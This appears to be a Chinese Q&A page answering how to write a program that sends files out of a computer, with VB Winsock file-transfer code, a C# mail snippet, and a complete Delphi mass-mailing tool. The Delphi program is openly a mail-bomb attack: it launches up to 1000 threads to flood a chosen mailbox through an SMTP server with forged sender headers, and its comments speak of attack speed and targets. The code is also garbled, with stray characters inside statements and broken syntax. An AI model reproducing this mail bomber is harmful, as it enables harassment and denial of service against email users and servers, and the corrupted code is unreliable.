怎么用vb编一个能把电脑里的文件发送出去的程序

先去这个地址下载Winsock控件：http://download.pchome.net/dll/m/detail-171903.html

然后添加一个Winsock1到窗体上。然后写代码。

【发送端】代码：

连接代码：

Winsock1.Close

Winsock1.Connect "127.0.0.1", 5000     '这里5000可以自定义。IP设为便于本地调试

发送代码：

Dim a() As Byte

If Winsock1.State = sckClosed Then

    MsgBox "服务端连接失败", vbCritical, "警告"

    Exit Sub

 End If

 '-----------------

 send_filename = "C:\fasong.exe"       '发送的文件名

 Open send_filename For Binary As #1

 If LOF(1) <= 1000 Then                '判断载入文件的大小，如果小于1000直接发送

     ReDim a(LOF(1) - 1) As Byte

     Get #1, , a

     Winsock1.SendData a

     Close

     Exit Sub

 End If

 

 If LOF(1) > 1000 Then         '如果大于1000

  lump = LOF(1) \ 1000         '切割的块数

  left_lump = LOF(1) Mod 1000  '剩下的文件的大小

    For i = 1 to lump

        ReDim a(1 To 1000) As Byte

        Get #1, , a

        Winsock1.SendData a

    Next

 End If

 If left_lump > 0 Then         '如果剩下文件大小大于0字节

     ReDim a(1 To left_lump) As 姿并Byte

     Get #1, , a

     Winsock1.SendData a       '发送文件

 End If

 Close

 

'--------------------------------------------------------

Close

接收端添加一个Winsock1。代码：

If Winsock1.State = sckClosed Then

Winsock1.LocalPort = 5000

Winsock1.Listen

ElseIf Winsock1.State = sckConnected Then

End If

在Winsock1的ConnectionRequest事件中这样写：

On Error Resume Next

Winsock1.Close

Winsock1.Accept requestID

在Winsock1的DataArrival事件中这样写：

On Error Resume Next

DoEvents     '防止卡死

Dim a() as 中拍Byte

accept_filename = "d:\accept.exe"        '接收后的文件名

Open accept_filename for binary as #1

If LOF(1) = 0 Then                 '如果接收到的是新文件

    ReDim a(bytesTotal - 1)    '必须减1 因为数组卖册羡默认下标为0

    Winsock1.GetData a

    Put #1, 1, a                        '第一次写在1的位置

Else      '如果是文件剩下的部分

    ReDim a(bytesTotal - 1)

    Winsock1.GetData a

    Put #1, LOF(1) + 1, a    '从第二次开始就将读写文件的指针往后移动一个字符，再写入数据。           '如果不往后移动指针（+1）的话，新的数据会覆盖掉前面的数据

End If 

Close

private void send_Click(object sender, System.EventArgs e) { string ServerStr ="mail.china.com"try { SmtpMail.SmtpServer = ServerStrMailMessage aMessage = new MailMessage ( ) //新建一个MailMessage对象 aMessage.From = TBfrom.Text //定义发信人地址，如果是多人，雀隐滑可以用"，"分开 aMessage.To = LBto.Text //定义收顷腊信人地址，如果是多人，可以用"，"分开 aMessage.Cc = CCTextBox.Text //定义抄送人地址，如果是多人，可以用"，"分开 aMessage.Bcc = BCCTextBox.Text //定义暗送人地址，如果是多人，可以用"，"分开 aMessage.Subject = SubjectTextBox.Text //定义邮件的主题 aMessage.Body = TBbody.Text //定义邮件的内容 if ( AttachmentTextBox.Text.Length >0 ) aMessage.Attachments.Add ( new MailAttachment ( AttachmentTextBox.Text.Trim() , MailEncoding.Base64 ) ) //给邮件增加一个附件 SmtpMail.Send ( aMessage ) Response.Write("<Script language=javaScript>alert('电子邮件已经发送到->+ LBto.Text ！')</Script>")} catch ( Exception ex ) { Response.Write("<Script language=javaScript>alert('发送失败！')</Script>")} } ////////////携首/////////////////////////// 添加附件按钮代码 private void BTNadd_Click(object sender, System.EventArgs e) { AttachmentTextBoxa.Items.Add(Fadd.Value)AttachmentTextBox.Text=Fadd.Value}

你这个问题有点不好说，你用indy插件比较好用

下面是不用控件实现的方法：

uses

　windows,messages,winsock,sysutils

{$R *.RES}

const

　CRLF=#13#10

　exename:pchar='邮箱信使'

var

　thd:array[1..1000] of integer

　tid:array[1..1000] of dword

　faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer

　s1:string

　sbuf:array[0..1024] of char

　dest:string

　attstart:boolean

//----------------------

　wClass:　 TWndClass　 //窗口类变量

　Msg:　TMSG　春帆坦　//消息变量

　hInst, //程序实例

　Handle,//主窗口句柄

　hFont, //字体句柄

//----------------

　hButtonStart,　 //开始按钮

　hButtonStop,//停止按钮

　hButtonHelp,//帮助按钮

　hButtonExit,//退出按钮

　hEditEmail, //e-mail编辑

　hEditCount, //次数编辑

　hEditThread,//线程数编辑

　hLabelEmail,//轿核e-mail提示

　hLabelCount,//次数提示

　hLabelThread,　 //线程数提示

　hLabelInfo　//领息提示

　:integer　//句柄类型

//--------------------

//往一扒桐个窗口写标题

procedure WriteCaption(hwnd:hwndtext:pchar)begin sendmessage(hwnd,WM_SETTEXT,0,integer(text))end

//从一个窗口读标题

procedure ReadCaption(hwnd:hwndtext:pchar)begin sendmessage(hwnd,WM_GETTEXT,400,integer(text))end

//以下是网络连接的过程

function StartNet(host:stringport:integer):integer

var

　wsadata:twsadata

　fsocket:integer

　SockAddrIn:TSockAddrIn

　err:integer

begin

　//为网络连接作好准备(用winsock1.1以上版本)

　err:=WSAStartup($0101,WSAData)

　//创建一个客户端套接字(Client Socket,用SOCK_STREAM，即TCP协义)

　FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP)

　//初始化网络数据

　SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host))

　SockAddrIn.sin_family := PF_INET

　SockAddrIn.sin_port :=htons(port)

　//客户端向smtp进行连接

　repeat

　err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn))

　until err=0

　//

　Result:=FSocket

end

//以下是网络关闭的过程

procedure StopNet(Fsocket:integer)

var

　err:integer

begin

　//发信结束，关闭客户端套接字(Close Client Socket)

　err:=closesocket(FSocket)

　//清除网络参数

　err:=WSACleanup

end

//下面是个发送数据包的过程

function SendData(FSocket:integerSendStr:string):integer

const

　MaxSize=1024

var

　DataBuf:array[0..MaxSize] of char

　err:integer

begin

　//读取网络数据

　err:=recv(FSocket,DataBuf,MaxSize,0)

　//将网络数据写入主窗口的标题中，提示用户正在发信过程中

　//WriteCaption(handle,DataBuf)

　//向网络发送数据

　strcopy(DataBuf,pchar(SendStr))

　err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE)

　Result:=0

end

//下面是个发信的过程

procedure SendMail

var SendBody:string

　FSocket:integer

begin

　repeat

//指定smtp主机地址,这里用的是smtp.21cn.com,它的ip为(202.104.32.230)

//指定smtp主机的发信端口，默认为25

FSocket:=StartNet('202.104.32.230',25)

//-------下面是发信过程的各步处理-------

//---------------------------------------

//第一步：发HELO指令，表示我要开始发信了

SendData(FSocket,'HELO'+CRLF)

//第二步：发MAIL FROM指令，表示发信人的信箱

//　 注意现在很多SMTP主机有只能允许本地合法用户发信

//　 所以发信者的信箱在发信主机中应是一个合法用户

//　 否则无法发信,比如hack001便是smtp.21cn.com中的一个合法用户

SendData(FSocket,'MAIL FROM: <'+CRLF">hack001@21cn.com>'+CRLF)

//第三步:发RCPT TO指令，表示目标用户的邮箱，就是你要攻击者的邮箱

//　 这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度

//　 但对163.net好象不行，他加了过滤机制

SendData(FSocket,'RCPT TO: <'+dest+'>'+CRLF)

//第四步:发DATA指令，表示要向SMTP主机发数据

SendData(FSocket,'DATA'+CRLF)

//第五步:发具体数据,包括如下内容(信封和信体):

//　From:表示发信者的地址,可以是假的用户(可以随机产生),后面以CRLF(即回车换行符)结束

//　TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结束

//　Subject:表示邮件主题,后面以CRLF结束

//　后面一定要再加一个CRLF，表示信封部分结束了

//　接下来是信的主体内容，可以是任何内容,后面以CRLF结束

//　然后一定要再加一个.符号，表示信体结束,后面以CRLF结束

SendBody:='From:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF

+'To:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF

+'Subject:New Bome 2001.'+CRLF

+CRLF

+'Hello World.'+CRLF

+'.'+CRLF

SendData(FSocket,SendBody)

//第六步：发结QUIT指令，表示发信过程结束

SendData(FSocket,'QUIT'+CRLF)

//

waitforsingleobject(hMutex,INFINITE)

//显示发信过程的剩余邮件数目

WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封邮件 / '+'还有 '+inttostr(count)+' 封邮件 '+CRLF+

'正在使用: '+inttostr(num)+' 个攻击线程'+CRLF+

'经过时间: '+inttostr(newtime div 1000)+' 秒'))

//总次数减一

Dec(count)

//调用发信过程，进行发信

newtime:=integer(gettickcount())-oldtime

speed:=mcount*1000*60 div newtime

WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/分钟'))

inc(mcount)

//sleep(300)

if count<=0 then break

releasemutex(hMutex)

//

StopNet(Fsocket)

　until count<=0

end

//------------------------------------

//以下是线程创建时调用的线程函数

function fun(Parameter: Pointer): Integerstdcall

begin

SendMail

WriteCaption(handle,exename)

WriteCaption(hLabelInfo,pchar('发送结束'))

attstart:=true

result:=0

end

procedure ButtonStart

var k:integer

begin

　if attstart=true then

　begin

attstart:=false

WriteCaption(hLabelInfo,pchar('发送开始........'))

ReadCaption(hEditEmail,sbuf)dest:=strpas(sbuf)

ReadCaption(hEditCount,sbuf)count:=strtoint(strpas(sbuf))

ReadCaption(hEditThread,sbuf)Num:=strtoint(strpas(sbuf))

oldtime:=gettickcount()

mcount:=0

if Num>1000 then Num:=1000

for k:=1 to Num do

thd[k]:=createthread(nil,0,@fun,nil,0,tid[k])

　end

end

procedure ButtonStop

var k:integer

begin

　for k:=1 to Num do

　TerminateThread(thd[k],0)

　WriteCaption(handle,exename)

　WriteCaption(hLabelInfo,pchar('发送结束'))

　attstart:=true

　count:=0

end

procedure MainCreate

begin

　attstart:=true

　hMutex:=createmutex(nil,true,'Bome2001')

　releasemutex(hMutex)

end

procedure ButtonHelp

begin

　s1:='本软件只用学习用，不可害人'+CRLF+

　'程序使用多线程100个线程，发送速度极快!'+CRLF；

　

　messagebox(handle,pchar(s1),'帮助',0)

end

//主程序结束

procedure ShutDown

begin

　CloseHandle(hMutex)

　//删除字体对象

　DeleteObject(hFont)

　//取消窗口类的注册

　UnRegisterClass(wClass.lpszClassName,hInst)

　//结束主进程

　ExitProcess(hInst)

end

//这是主窗口的消息处理函数

function WindowProc(hWnd,Msg,wParam,lParam:integer):Longintstdcall

begin

　Result:=DefWindowProc(hWnd,Msg,wParam,lParam)

　case Msg of

　WM_COMMAND:

if lParam=hButtonStart then ButtonStart

else if lParam=hButtonStop then ButtonStop

else if lParam=hButtonHelp then ButtonHelp

else if lParam=hButtonExit then ShutDown

　WM_CREATE:MainCreate

　WM_DESTROY: ShutDown

　end

end

//定义几个窗口创建函数

function

CreateButton(name:pcharx1,y1,x2,y2:integer):hwndbegin　

Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE

or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil)end

function

CreateEdit(name:pcharx1,y1,x2,y2:integer):hwndbegin　

Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or

WS_CHILD or ES_LEFT or

ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil)end

function

CreateLabel(name:pcharx1,y1,x2,y2:integer):hwndbegin　

Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or

SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil)end

function CreateMain(name:pcharx1,y1,x2,y2:integer):hwnd

begin

　//取得应用程序实例句柄

　hInst:=GetModuleHandle(nil)

　//初使化窗口类的信息

　with wClass do

　begin

Style:= CS_PARENTDC

hIcon:= LoadIcon(hInst,'MAINICON')

lpfnWndProc:=　 @WindowProc

hInstance:= hInst

hbrBackground:= COLOR_BTNFACE+1

lpszClassName:= 'MainClass'

hCursor:=　 LoadCursor(0,IDC_ARROW)

　end

　// 注册窗口类

　RegisterClass(wClass)

　// 建立主窗口

　Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil)

end

//---------主过程，类似于 C语言 中的 WinMain()

begin

　//建立主窗口

　handle:=CreateMain(exename,10,10,320,135)

　//建立四个控制按钮

　hButtonStart:=CreateButton('发送攻击',240,4+26*0,70,24)

　hButtonStop:=CreateButton('停止发送'　,240,4+26*1,70,24)

　hButtonHelp:=CreateButton('帮　助'　,240,4+26*2,70,24)

　hButtonExit:=CreateButton('退　出'　,240,4+26*3,70,24)

　//建立两个编辑框

　hEditEmail:=CreateEdit(bome@hacker.com',60,4,174,20">'bome@hacker.com',60,4,174,20)

　hEditCount:=CreateEdit('1000',60,4+26*1,60,20)

　hEditThread:=CreateEdit('10',193,4+26*1,41,20)

　//建立三个标签

　hLabelEmail:=CreateLabel('发送目标:',4,8,54,24)

　hLabelCount:=CreateLabel('发送次数:',4,8+26*1,54,24)

　hLabelThread:=CreateLabel('线程数:',124,8+26*1,66,24)

　hLabelInfo:=CreateLabel('等候命令.....',4,8+26*2,220,44)

　//创建字体对象

　hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH

or FF_DONTCARE,'宋体')

　//改变字体

　SendMessage(hButtonStart,WM_SETFONT,hFont,0)

　SendMessage(hButtonStop,WM_SETFONT,hFont,0)

　SendMessage(hButtonHelp,WM_SETFONT,hFont,0)

　SendMessage(hButtonExit,WM_SETFONT,hFont,0)

　SendMessage(hEditEmail,WM_SETFONT,hFont,0)

　SendMessage(hEditCount,WM_SETFONT,hFont,0)

　SendMessage(hEditThread,WM_SETFONT,hFont,0)

　SendMessage(hLabelEmail,WM_SETFONT,hFont,0)

　SendMessage(hLabelCount,WM_SETFONT,hFont,0)

　SendMessage(hLabelThread,WM_SETFONT,hFont,0)

　SendMessage(hLabelInfo,WM_SETFONT,hFont,0)

　//进入消息循环

　while(GetMessage(Msg,Handle,0,0))do

　begin

TranslateMessage(Msg)

DispatchMessage(Msg)

　end

end.

---